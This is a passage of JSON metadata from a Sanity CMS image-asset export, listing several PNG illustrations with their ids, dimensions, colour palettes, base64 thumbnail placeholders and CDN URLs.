MZ3wIU84w3DW34G25zpx5A5K4ZXSc3zDxRfaaMTefOrqVX+pX8Yv9MjL2MjJ4EaH34EWxXboiNs3MiPUhCFVBCPsCEGzT0JkfQdBPMmuBH+6Km4/c5q+/K932zRnL5utC7saB5bvTHsxt2XmCuKRhIqFJIsMJkN6LlaIHHWKrNCEenWFCXQjC/iCEvQEmWB8xnWkqYBD/M+DUf/1Zt7Gh+YJe0F0zbl3pL0qJvPjmHvp0m474x0eIRC9IPzu7C7H649ghtkvnxGZpQjwcmhFcQQhvB4KCfXpIVzB9Pscwtr9N37lroPAnr0r28BdYKT05XRwTwfqI7hjWUPbacZoF0Wz0XZDpvdDoO7FdbJHaxCMzF8W60JfC/uA5oWzarSsK/NKaP5B825a+gJWGpcIuXx2yRS6YLFaEMYeMJEc4Za8fJxJ/zUh/HMTlT5HBA9J3IEZskZ4S35l5SawPvSFWB18QnYEUoSwQyd4nYnaSTdti5kr2iFjY5ZFwhNMsEA75D2L/A/EvOvxFcQVXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#41474a","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#65130a","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3c4c4","foreground":"#000","population":3.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3c4c4","foreground":"#000","population":3.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cb4f8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa699e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f49513","foreground":"#000","population":3.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"input-output.png","path":"images/sczeoy4w/production/46a93841e05c2acc27ebbddab87f81700f9f86df-1200x1200.png","sha1hash":"46a93841e05c2acc27ebbddab87f81700f9f86df","size":158396,"uploadId":"zu0uvI6e3zzN8PZZyLOldcX9lNO0pdde","url":"https://cdn.sanity.io/images/sczeoy4w/production/46a93841e05c2acc27ebbddab87f81700f9f86df-1200x1200.png"} {"_createdAt":"2022-11-03T14:16:47Z","_id":"image-35672d61257cb864cab98118b0036b44314e05d8-1753x1933-png","_rev":"70bM5v708uTTBntrbFSZi7","_type":"sanity.imageAsset","_updatedAt":"2022-11-03T14:16:47Z","assetId":"35672d61257cb864cab98118b0036b44314e05d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eZFoo,xD1cI@ay|^oJAXWXWXAGR,$gxEo265WX$Poc$PJQsosCNuw{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9068804966373513,"height":1933,"width":1753},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAC4jAAAuIwF4pT92AAAEaklEQVQ4jWWSTUyUVxSGzzcMVQEhgApqUQR0BGHOC/INiMMwMwwiyI8zo/xYodapFqqAggP9sUnTTRddaNJFky5NXLRJF100saZJk27alSZNkyam6cquGvub1GDKfZs7M8SB3uT9zjk39z7ffc+9IrnBcZ9wwiec3i882yQ8XydsGxOG+sV0DQndZLY+nBJj8/YzWblZbRjm4m5hwp+ROdcgDA4Ko1FhLLyF4dgOBgf3sXP0RQYS5XSTXn4rYpqn86DJjUBe2yo80S2MQzh5UEzC7zUjR2s40DVsYuE3Geq/xa7hDxiIz9NNhugmK+kmHLZOZIFHz26EcqxRaE/2jginags47jvEhD/N4fav2R98zGjv7wwOPDGdoz8xkPiMbvI83WQVA3FhIJGFYjIPeGlXFppsEb6yt4rnD8xz3PfQJPyrHHLJ/iAZ6SWDg2Tn6F8MJO7RTY7STRavn85CnwNnKsS8LcKrJQW8vLObF/d8zqnap5zw0ST8axxyDfuDJg/6KwOJW3ST9aZlStgR32T5akm2jwtFxbxS+jJnKn5gqpqcqjWc8Bkm/IZD7lPT3/0nI7F/GBxc5bGRL9lxOsSOuCfTy47TecDrLwhvFAgXC8t4bcsc54p/5mw5mao2FmomfE8Y16842PkxYz2fMtz3PbsH7vP4qZM8NlJgOuKZp/UcmPYIV0RM2inhDU+Ki4U/cr6IZrbcMFX9r5ne9x0nD13gcLuPJ0LtjEZnGO57iz0nAuweKMg8s9DJPOCyCN/IRC+XpZdp5z6XvKsWytnyZ7y06x5T1d1MexwGBx32RipNNFrPSG8Fw30Ow33CSCwLU1VZWxb5e9EjHw00iFmWGrMsN03aeWSWvGtcKCKvlD00s+VT5rXK7UztFnNbhH0hx/T1OIyFZV2ZAUACbX75Yqpc7k7sEN6UQq4IuCzvm7TzwCx5fzML2x6bq9s/XHu9rPlJaqfnm0iH3D3VkNlf2twinYA0qWZYmQ+gUn+kTWZ666TJ3+o8uFy87VnaaeSyXGDauc3FwjtcKHqXcyVHuVTsvROvET4Skard0qgqrUDGqdU6sEAVFYDWAlrnV+wb7Tpc+sf1grJnN5wDq4uF/l9mtjd/cmZvzVhXU3HNkTZPT3uLk90LRwFPLs8CVXUHoBFVDAN6CtARVfgPNbft8jW37WlR2J8c8SuCqnABrVfFQQD1Vqq6F8CWDDB31CYA53LQbkAvATrdCh1qhY4BegHQVwG9YnNVTAE6p6ozqjoNoBNAcT7wMIBJAL0AgoBeVsUioAuAzufiCqCLqrgI6DVA3wOwAtgazQAK8y1XAIgAOANgUNVaVvuDlKqey82/BGAcQAJAUlVtHQesI1Rlevn8UjL0OlXtyS1oz9mIqmoIwHErVe3M5ceyTtAFoBFAqYXlW7a3VAmgQVV9Fp6TXZwvO2cvwubWptV+AEWbgVZeAFtVdZuNOdmF67JNt3P2NosAlOSirT3/A+Z6uaHerM3z+fX6w/4PInAXOD/xxOoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d170f","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6910","foreground":"#fff","population":7.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95030d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3a48","foreground":"#fff","population":2.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#785a45","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6910","foreground":"#fff","population":7.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster-with-tag--vert-rgb-80%.png","path":"images/sczeoy4w/production/35672d61257cb864cab98118b0036b44314e05d8-1753x1933.png","sha1hash":"35672d61257cb864cab98118b0036b44314e05d8","size":66637,"uploadId":"PB0mNWeFFSjD8G24CnjNFgaN9ktxK8jp","url":"https://cdn.sanity.io/images/sczeoy4w/production/35672d61257cb864cab98118b0036b44314e05d8-1753x1933.png"} {"_createdAt":"2022-07-22T15:49:49Z","_id":"image-d7973e8a55caac676ca24a87a886f75a422bfa20-1200x1200-png","_rev":"qSZxM9b8jt7q1sKE71dWmJ","_type":"sanity.imageAsset","_updatedAt":"2022-07-22T15:49:49Z","assetId":"d7973e8a55caac676ca24a87a886f75a422bfa20","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eaJQvYaG5QESEN?ws+xAIVIt5QM#wGxanorBIVJ8NGo$RQt5RQWFXl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#272656","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b1f05","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0b","foreground":"#000","population":8.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5cbac","foreground":"#000","population":0.59,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84d4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e8568","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0b","foreground":"#000","population":8.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"owl-flying-carrying-clock.png","path":"images/sczeoy4w/production/d7973e8a55caac676ca24a87a886f75a422bfa20-1200x1200.png","sha1hash":"d7973e8a55caac676ca24a87a886f75a422bfa20","size":196997,"uploadId":"yQPM6DlN9K1tl3PZnTek0khXiI0hQU6j","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7973e8a55caac676ca24a87a886f75a422bfa20-1200x1200.png"} {"_createdAt":"2022-07-22T15:51:35Z","_id":"image-602e0890ee1b032f0ae2c387b95563f1ae402c8b-1200x1200-png","_rev":"qcIblBlYNB041RLlsNEe5B","_type":"sanity.imageAsset","_updatedAt":"2022-07-22T15:51:35Z","assetId":"602e0890ee1b032f0ae2c387b95563f1ae402c8b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEGt:o^c00Ae0]?g{vMIGGGJ_}xcEoELOx0IKR_3WCVo00w[t.9ZwF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAGK0lEQVQ4jT3Ue1BTdxYH8ANFoYOiuBEUXWrbxaFdW6ntlnVbhEIlgmhQsaJCgZv7uwF51VJQuvJ+hhSUIIZUHg0+SCuJDxxxp5VIVIqPuliFBkILWIQo2YQk3jxIcn876rTnn/PHmfnMmXNmvmACAFzsAjgfAJe6ujKFbksdh+aF2L90T5jL94iay/f06cIY/iiMMVRUVD7vMpkM+vv7QaFQ/DkHhu8OuBUAC+a5Oqs8Xp2rWJBqLfWSm4sXXzMULeP/XBYRVHbkhK9YLP6bRCIJkEgkvk1NTe6pqalQX18Pra1tIBQKITMz8wXoEHgC/uolwEde9p6rXURYBEv6LNXeFkuF95PHlQGis6KqHa2disSL3T/sv3q1N0upVMYrFFffvnz5smd4eAQYjSY4deo0FBUVvwANNcshnboLzsaFb1qPsloswqVG22FvTNeyhkeE4fyuCxfzLveNCPvv/XZseHS89rexsQqVSkXdvn3nDfnZc26yzk64qlDAvjz+HzcBwG0Ajmbv9dbjvpcs4mV2m4hlmz3qr7wrSSvpuzVQ+V+1VnRn1ChST5rq/qc3CjQaTenQ4FB0d/f3XhirYUA1DRkN1yHtGabq2AS4CcDZznrX2u7XaZGsnLO2LTfMNAeeviH7KvenwXH+g3HD0Ztq+tiD3y31epO1Wj+rr1D/Orqrp/fKXx49xM8flDyBIfMZaP1uJRjkgeCULl1hlf61wCxdNWHuWDUxdeK9yu4Lpz9VDkxU3RnRi2+radHQmLlhctLcoBrWiy/1Tn0mkDx8/ZV/WVzPnzMDVWd6sSGWLwF8FsBxxm++Xeb3T5vcX/hUFiAdlbITxCeU7I6uofLuHrW0V/mo80bPTJfi7IzypOjxveJy3X/SCs2fkXx7MK/FuZw6g914gxjg1kkEfR37oLq5F8Y6IheqTnI29DXvQw3lF/ZmZs2klxSoOhqP3Pi5RXh7orl6dEaYM2k6tHPamhqrM3EpepAstLWhw/YtVCuzgOrCAEnFGCAXA6p1eKBK+5q0EiNKz9eJqEzjJZJ4OpCTMa6pLr5Gl+VcNx7Yo57az566z1v7uJ94SztMRBtoLpce5fLo/dx4kzf5uQUgBWNATYwbqne8g2rsArJ07h73oG2Gm2XVc0mdPiP1punLLzof5pJKORX+qIhYp92bEqiNJd7RVRORhnFis2GG+IeuImWxxi/JbRoAtWOgvnb6oEZnDqpzqFDlnIE8ZL1P7reeSSIenIzfJejbFZcuTdxeuwmF2HwItmExKrSuIQ9Yy7gp9ASxQa9NXvZEkAxTKxNADUA2M0C1MH9HTc52JHTMohr7LbJkLp37uf697XEFe9js7R1hoVtKo0MPB5Fh5kBio45NZpkLyVLbTS5F21Le100m+z7JT/HSsBJhAgC1YaC+Ydah44wMNToNqM7ejfhM5G7qzKtR0Z9kRW5MvLJ1k6g9OWa6ihthaCc26K8RHOM4N81Mc0naQsQY7xBsQ1JKsmUhj60FoE5hoCRMANXCNCKRU4sOO9SoynEsIevHymhO7pXoqLKZ3dvuaohY0zQRadATH+p1xAe638nY2Z9QJi1HBy0FvBJLcLbI5PFxLwbgyTFQ7YwX1cIkoCbndXTEaSArLNrdGb1PojgFpq1bm59+Gv9Qg+KMQyhKeyU1VNOaHTxWkv/RL0TRPlWYgD+wWn5Qyvp15xfuOJgDwM2zPQNdqBbGH4kcPFTPyLnlugc7kfQROzp7JG7b8fPpSWp+/t7BDP6O77e3ciQhP8QUvj0ck/QaHRPhizcGLcEfrvfCH0R5OELjAJDICR9JMZBfY1deI+2TfdQYklU+gBKSi8p3bt5SlLeHjD2fVxR0/wBn9eyB1atwzuIVONNzGSZ9WXj3Gm/LjjBPU8y2+bbwOFccshmAe8wJ56V10PNtIeBOcFF37lrQ05S4Qpwb9kZrVsBbQzVLV+Fv3HxxowsL13gssv2btcCY7f/yLBU4j05a+5I1KcgFB28FJnQL4HUJAMmldnBefOV5jI3KOS64a8V8fMlzPu5e5I67/LwcMn9v+sTrCw3i1e6ahrWu52r3wEhxBOAqAMxbDpjnA0wI5znIrI+H/wMKCU3S/hkQrgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36485c","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#571a12","foreground":"#fff","population":0.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6596f8","foreground":"#fff","population":6.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2c3d0","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6596f8","foreground":"#fff","population":6.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a65e6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8920d","foreground":"#000","population":4.92,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"magnify-glass.png","path":"images/sczeoy4w/production/602e0890ee1b032f0ae2c387b95563f1ae402c8b-1200x1200.png","sha1hash":"602e0890ee1b032f0ae2c387b95563f1ae402c8b","size":125113,"uploadId":"jlacpeOJbjYYFpYdNrMZYf5jNloXETN0","url":"https://cdn.sanity.io/images/sczeoy4w/production/602e0890ee1b032f0ae2c387b95563f1ae402c8b-1200x1200.png"} {"_createdAt":"2022-07-22T16:02:52Z","_id":"image-ae7ba6dc40a4c695c34bace93d43608bb338dfbf-1200x1200-png","_rev":"qSZxM9b8jt7q1sKE71fzqx","_type":"sanity.imageAsset","_updatedAt":"2022-07-22T16:02:52Z","assetId":"ae7ba6dc40a4c695c34bace93d43608bb338dfbf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIELdx-f53XCw;nXoGX1-Be-00IvBUVsbfRL5ttT-Oo6?LSxN9spsD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAGHElEQVQ4jU2Ue1TMeRjG32k2l6IllKglyXVVWJupHd3LUo2m+6TMTGaqudBIq9tEl02KpJlKmxUSIqFmuqdDErtmW2fZjdOyLrvbISwam5nf7/vuwe45+/z/fP54z/t8AP5NqO1DCFt4B6xtEPxmPwfJ0l5IXt4GMA1Buk4L6ObG+MtVwLzp9hXzN/ck5itWrAntGgHoGgpjq6PhEwH1HwqglF0J2AqQ6nwCCl1r4A7PDRIXXAfFSg1gpD3jgU+M2ciaaGuKHTwb2T7W6L7WmmaFWvzOSjBBp0DAVevBIoYCKyEF8CR3AaAeADUAzTwJVHE1AIAQvmho/JYVXTZKVsOqAnYdt9TzUHylT8XGI36lft1eykVP3PmT0Gk1QCrCJa+dYL6JhokCGuD+qUDA5nHQlKAAkmcKCfOuMLYsvWglXdbjL1/RmS1z7TiT4N7dH+dxRcfxGbjEDvj1sFPgMN8+5KWDZYTBFOoRbMNew5QYCmArAmDrDEAEeFjuD7dTApj72dVz0l2aRMnO7RrJyu5H8asvv4li62hfj3vE2XvEMG+tfmQm5+1VyzBjtkU05WQeR5m+A03mUWAVbQRA3Th4XLaKgXWWE1p4iY7Fbke37mK3Xc3wvqQXs/ox/PNbJMj7kcHd98XYp/6jtGPQG7QJGTNOjTAOTtpI5Uzk047jRDQDwRvGC2mAt+ftx6Nm2pSRiiWO9WG7+IXs8z1F3P43pdJbmBx673UQ68+fg7580eEd/ErzWfAr3RKu/tks7hg9JdJoNI+jvp8gpDeNExMLk0T8AKQ0drOw1XLuUFkIqzG5du8R2dXfazIG8XjJI7qqaHgoTTpSKE14FiyS/xHgFfNU5MDRn5rBeTtsEW7ACbHUi4+E9EGmmCwEe4SPeBQA3TLbakw7f0Z7eYnnWdX5s81HL+tb6n/E5vpbdKf29tC1vjvKgR8Gl3d1XZy/p0K32FPyWuAietu/VGKg5sopo6WM7pooIV4TxWNMfPeDqDFltp+tmHS4qibqwD7V93uL9tFqdSU5/G0tOVFX/7q5ubmtq6tTptVqo/v6+vjanqGCkuMPb2ZVPzQklv+Bawuf31iWNco1S6HHKzxqAXBwD1zsufLx6foGsapMfTs9LZ3IZDKiUChIenoGKSjYPVxRUXmxtvZ4+4ULTTcazzU9OFRzYlRVeZTeV91E0g7eGBCU/hqZlHrDDJ1XMAFf7oDr167ZdnZ0p588cWqoqKiIyLfICJ+/iQiEfJRKJQalMvPl/v0loypVGZWXl4spKQpM3b6N5O3eT/aUn/vpgKpFdFOstMPPg2fAsWPHJjc2NgbX1dWdP1Ba9jQjLduYJFYQfpyE8OOkRCxSkJSULJKTU4jK7AJMVqSRJMlWItuynWQq8+niYvWD6mJVeUdq1trhwLi5oFKp7aqqvhHu3be3OlWRdU7AzR/g+ZaPRvocwjD/oyQ8qI7woo8TgaiOxCfWknjxQSIUq1CQpDbKk4vv52blNJfk5xVX5eZzG7ZnzILC3YUff51fsHBHWupyMS/bNcqlRRbi8GPveoc7et9F99DD+T6uYf2CPn4/YCCnD0PCu3ADr90QvKl1MDa+dk+GLMsnN3PHspy8r+fsLCo0A6FQCABT3ltHMB0ZodP+sg2c/lzoP+t5k/e8Z4+9P/3zb//Vd6kgXx29IbBvLDj0ypOAyP4+H9515brYXqeUmBrTTETwWL8V1JJkAIFA8B6G7wYNCL4zr5pEzh+05jndCop11ZUIvHrbN6/r/E64of3axrDOC5zw3mLPiIHwVVG/2DvGPjbt+Le7IsATtqWlAWRmZoJMJgf1Tn9gL+4A7J7KIK025ncrvR3askRrTm77KqJSns/PE1WEyuNOszgRfXOWcobNwRcZwEWoEcaAXJoJOzLSIWfXrg+C5U598m4xYNDMgZdnFptQGjsLbJ8+EzsnW6PWavarhgXWj2tWmulr7Ew2Rl8AN97PgA0AAXG9ANEIEIrgEnsXZv7f2rTWFrDDCrDNBgxNc02ennRhDn7jz3xav5yJPWaM8C90708SxWsDj8ibYM0xgIe6E9b76cAmTA8LNn+A/QNgdfMVZwUBdAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a365b","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e3d15","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c66f1","foreground":"#fff","population":1.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adafc9","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e89892","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a76a8e","foreground":"#fff","population":0.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c66f1","foreground":"#fff","population":1.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"book-flipping-pages.png","path":"images/sczeoy4w/production/ae7ba6dc40a4c695c34bace93d43608bb338dfbf-1200x1200.png","sha1hash":"ae7ba6dc40a4c695c34bace93d43608bb338dfbf","size":167537,"uploadId":"zsVBGqfcLSWvtAQJs08C5RdQd5dCsCcU","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae7ba6dc40a4c695c34bace93d43608bb338dfbf-1200x1200.png"} {"_createdAt":"2022-09-26T19:29:31Z","_id":"image-75e62665661bf806afa29388e1db8ad0c803d449-800x789-png","_rev":"z4aw9LO53fWpwEzdXNSafl","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T19:29:31Z","assetId":"75e62665661bf806afa29388e1db8ad0c803d449","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDFOTc5v0053KX+Wje5Px?-C03}RlUcD,V^*ND#,A1xb$=Ae-6wKRW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0139416983523448,"height":789,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFzElEQVQ4jW3Uf0zTdxoH8HcLghQLioinTBx3N12ri8wb6iVb8NzcDzI8rN1YcaJS6E9BfigqxtEMiwVkXwotP20ZikhRSmkpDK3DURxsbNG7G2ZOj83FZbLJlnliENrPs+BMliz3/PP890qePM/7AcQKQJSJR/2pVJzYIsEPqRtA28Aj2bJQSo2d/689r4RoNJrwpKSkxevWrQuPjY3lr1q1CnFxcSAitNva8HvNQqvUgFiJsIME2gygjlCSVrnwa9mmxIkdcVp3liSt8EBBXm5eXrFGo5GoVKoIkUgMiUQCvV7/f0Cxgg+xYi5v9R5BfHRMADQUmrKrL9GTKrfdSHthtDVbdvXY0eKxSqPx9vHy8uYSvX79icaGQDb9AJUch9ramj+AIkUQxIolPLEyJvApqYCnnHnyzTRPqTsl6/vr2zey1qxUv/F4GVmsVmY0Vn1SUlLyRrWRCynjTCiv4HCLWwOqEjwGRY/AORArowJE6UuxvlSwOPOnDepUR9fQVvnDOynPkycvlVm4MlZlNPqKde8MFB7Y92rpsZLAFKUOnC4bVAWQSQCqFz4GxQoe1uQHLVu6LgjyKcHq3d+8USxt+uzL5B3+8cxkdrn8MGuzNhBXpveV5soGW7Ljt1BZyFzKA0aK/goyC0ANQpAl7PHIMUmILiZARYCWIhN2jh6o2X7i22vqAvqiooSdb2thbWfOsBrOwKyHtn03cuTp6qny+fGsMiQYIPjNv2F0cj4gUZcDWz5FmtqJ5RvuIlQ7vWJrzmi9pcjxy1BjCw04Hazb5WKnW1tZrbmaWQx5Pu+xzWN3K5ZxVB0SP1W34BHKrGGglgVAlq4Bz+ruAYkE5BD/H/qJhPzqax+0tvZPn+/uob6+Ptbb20t2ewc7eeoUs9SbyF2Z6bvNrfyamUI5ahTG+95fGDwKgLVFANa2XmjrbyKh7D72NVwVlp75d7q1c/iLdrubtdtsrKuri128eJF5PB6y2+2sqamJ2YwF7HrFWt+MKWyMTgg5/6kF8awtIphoA3Chrwe7j4+ACLA7P1jR6bpgOmt3TlgsFmqor2ezyIDXS0NDQ8zpdFJNTS0zGw6xQcNGdr8q0kcW4Zi/JYLzty96zuf4UxBszkuwum/A3PZxgL3bs7HT6b7Qcrp1pra2lpqbm1lPTw/zer00PDxMDkcnKy0tI93h/ay96HV2pyKaUeM8H50OH6OOCI5cUS8gufwWUEz4S9FkUIH5SnJVY++IpfEkO9nczFzd3ay/v595BwfZ8PAwc7lczGAwsP35Ocy0P5l9Zfgzm65bQJPNS3yT7cs+n3EueQeLtPdnlwHsobCXNF8qi3M7rr+vM5LVbGYdnZ1sYGCAXR70soGBS8zecY69W3yUVNocOpiVTg7da8x7fPNDd6X0jqdhq238nFiGlbtuA3sJ0NATr8tGDFaJ6cfz8oNUV6Tz19XXMZfTRR2dLjI1ttAhfR29lVU2s1n+3r1XVXW3d+2rv5JZ2OSWFjrekx7pSrKasyNBMcFAKSFC8b+1im3nbf0vFz24Isul2sMGKipvIJ3xrE+jPzeZuPf0+HMZtmsrdrs9MfKPLdHK0cJo7S3Zwj0Tm/gq/zOQU8TsPQItBORS0JKMn/6ZLr04fPa1Ct/Zt7mp/ELHXYnuo5sJB4a8Iu2nrYvlV48Kd3+VHiwf38RXTomgoCjsJCEyKYqv9i8XaCfnJxy+zAcKH8VtXpjiQVr8jhsf7ky59Nn2XYP29bn/rYjNH9dGaCcSAxX310BLS7Gf5uFdCohcuRGh0c8GhcSpw+bI/rOIr/I9wVOxcChneLMYoKaQAJX/70LFg/TFGT9LIzPvxfOVtBxKCkcWzUn85XHOZ/OeTghem8PHM1nhWK2NwvPGeVBOB0PlD0T